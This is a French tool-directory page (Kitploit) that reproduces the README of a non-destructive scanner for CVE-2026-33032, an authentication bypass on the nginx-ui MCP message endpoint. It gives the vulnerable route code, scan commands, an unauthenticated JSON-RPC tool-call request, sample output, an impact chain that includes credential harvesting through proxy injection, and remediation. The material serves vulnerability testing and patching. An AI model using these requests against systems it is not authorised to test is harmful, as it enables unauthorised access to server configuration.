Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-33032-scanner — Scanner de vulnérabilités non destructif pour le contournement de l'authentification du point de terminaison MCP de Nginx-UI (CVE-2026-33032) | Kitploit
Outils/GitHubGitHub/twinson333/cve-2026-33032-scanner
Scanners de VulnérabilitésExploitationSécurité WebTests d'IntrusionAuthentificationSécurité des API
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

Scanner de vulnérabilités non destructif pour le contournement de l'authentification du point de terminaison MCP de Nginx-UI (CVE-2026-33032)

Voir le dépôt
3222il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Scanner CVE-2026-33032

Scanner de vulnérabilité non destructif pour le contournement d'authentification du point de terminaison MCP de Nginx-UI

Présentation de la vulnérabilité

CVE-2026-33032 est une vulnérabilité de contournement d'authentification dans l'intégration du Model Context Protocol (MCP) de nginx-ui. Le point de terminaison /mcp_message ne dispose pas d'un middleware d'authentification tout en donnant accès à tous les outils MCP, ce qui permet aux attaquants distants de :

  • Lire les configurations et l'état de nginx
  • Créer/modifier/supprimer les fichiers de configuration nginx
  • Redémarrer ou recharger le service nginx
  • Exfiltrer des données de configuration sensibles
  • Injecter des configurations malveillantes pour intercepter le trafic

Cause racine

  1. Asymétrie d'authentification : Le point de terminaison /mcp exige une authentification, mais pas /mcp_message :

    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // AuthRequired() manquant
    
  2. Liste blanche IP en mode fail-open : La liste blanche IP par défaut est vide, ce que le middleware traite comme « autoriser tout »

  3. Les deux points de terminaison partagent le même gestionnaire : Les deux routent vers le même mcp.ServeHTTP() qui traite toutes les invocations d'outils MCP

Fonctionnalités du scanner

✅ Tests non destructifs - Utilise uniquement des outils MCP en lecture seule
✅ Empreinte complète - Identifie les installations nginx-ui
✅ Preuve de concept sûre - Aucune modification de configuration effectuée
✅ Analyse par lots - Traite plusieurs cibles à partir d'un fichier
✅ Rapports détaillés - Sortie JSON pour l'intégration

Installation

# Cloner ou télécharger le scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# Installer les dépendances (si nécessaire)
pip3 install requests

Utilisation

Analyse de base

# Analyser une seule cible
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# Analyser avec sortie détaillée
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# Délai d'attente personnalisé
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

Analyse par lots

# Analyser plusieurs cibles à partir d'un fichier
python3 cve-2026-33032-scanner.py -f targets.txt

# Avec sortie détaillée et rapport JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

# Pingback Burp
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

Format du fichier de cibles

# targets.txt - une URL par ligne
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

Comment ça fonctionne

Le scanner effectue un processus de détection en plusieurs étapes :

Étape 1 : Empreinte

Vérifie les points de terminaison courants de nginx-ui pour identifier l'installation :

  • /api/info - Informations de version
  • /login - Page de connexion
  • /api/auth/login - Point de terminaison d'authentification
  • /mcp et /mcp_message - Points de terminaison MCP

Étape 2 : Vérification de l'authentification

Teste le point de terminaison /mcp pour vérifier qu'il exige correctement une authentification (référence)

Étape 3 : Exploitation de la vulnérabilité

Tente des appels d'outils MCP non destructifs via /mcp_message SANS authentification :

  1. nginx_status (le plus sûr) - Lit l'état du processus nginx
  2. nginx_config_list - Liste les fichiers de configuration
  3. nginx_config_base_path - Obtient le chemin du répertoire de configuration

Si un outil réussit sans authentification, la vulnérabilité est confirmée.

Outils MCP sûrs utilisés

Le scanner n'invoque que des outils MCP en lecture seule :

OutilDescriptionImpact
nginx_statusLire l'état du service nginxAucune modification
nginx_config_listLister les fichiers de configurationAucune modification
nginx_config_base_pathObtenir le chemin du répertoire de configurationAucune modification

Outils explicitement évités :

  • nginx_config_add - Créerait des fichiers
  • nginx_config_modify - Modifierait les configurations
  • restart_nginx / reload_nginx - Interruption de service
  • nginx_config_enable - Modifierait les configurations actives

Exemples de sortie

Cible vulnérable

[+] nginx-ui détecté : 'nginx-ui' trouvé dans /login
[+] Point de terminaison /mcp correctement protégé

[*] Test du point de terminaison /mcp_message (CVE-2026-33032)...
  [*] Tentative de l'outil : nginx_status - Lecture de l'état nginx (le plus sûr)
      Statut : 200

======================================================================
[!] VULNÉRABLE à CVE-2026-33032
======================================================================
Preuve : nginx_status exécuté avec succès sans authentification

Cible protégée

[+] nginx-ui détecté : point de terminaison de version accessible
[+] Point de terminaison /mcp correctement protégé

[*] Test du point de terminaison /mcp_message (CVE-2026-33032)...
  [*] Tentative de l'outil : nginx_status - Lecture de l'état nginx (le plus sûr)
      Statut : 401
      Authentification requise (protégé) ✓

[+] NON vulnérable - le point de terminaison exige une authentification

Remédiation

Si la vulnérabilité est confirmée :

  1. Correctif immédiat : Ajouter un middleware d'authentification à /mcp_message :

    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. Défense en profondeur :

    • Configurer la liste blanche IP pour refuser tout par défaut
    • Restreindre les points de terminaison MCP à localhost uniquement si l'accès externe n'est pas nécessaire
    • Implémenter une limitation de débit sur les points de terminaison MCP
  3. Mise à niveau : Mettre à jour vers la version corrigée de nginx-ui lorsqu'elle sera disponible

Divulgation responsable

Cet outil est conçu pour :

  • ✅ Les programmes de bug bounty
  • ✅ Les tests d'intrusion autorisés
  • ✅ La recherche en sécurité avec permission
  • ✅ La validation de vulnérabilités avant divulgation

N'utilisez PAS cet outil sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Conseils pour le bug bounty

Lors du signalement de cette vulnérabilité :

  1. Gravité : Critique (CVSS 9.8+)

    • Accessible depuis le réseau
    • Aucune authentification requise
    • Compromission complète du système
    • Exfiltration + modification de la configuration
  2. Preuve : Inclure la sortie du scanner montrant l'invocation réussie d'un outil MCP sans authentification

  3. Chaîne d'impact :

    • Accès non authentifié → Lecture de la configuration → Topologie du backend révélée
    • Écriture de la configuration → Injection de proxy malveillant → Collecte d'identifiants
    • Redémarrage de nginx → Interruption de service → DoS
  4. PoC sûr : Utiliser uniquement les outils en lecture seule (nginx_status, nginx_config_list)

Détails techniques

Format d'invocation des outils MCP

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

Réponse réussie

{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

Réponse protégée

HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

Références

Télécharger l’outil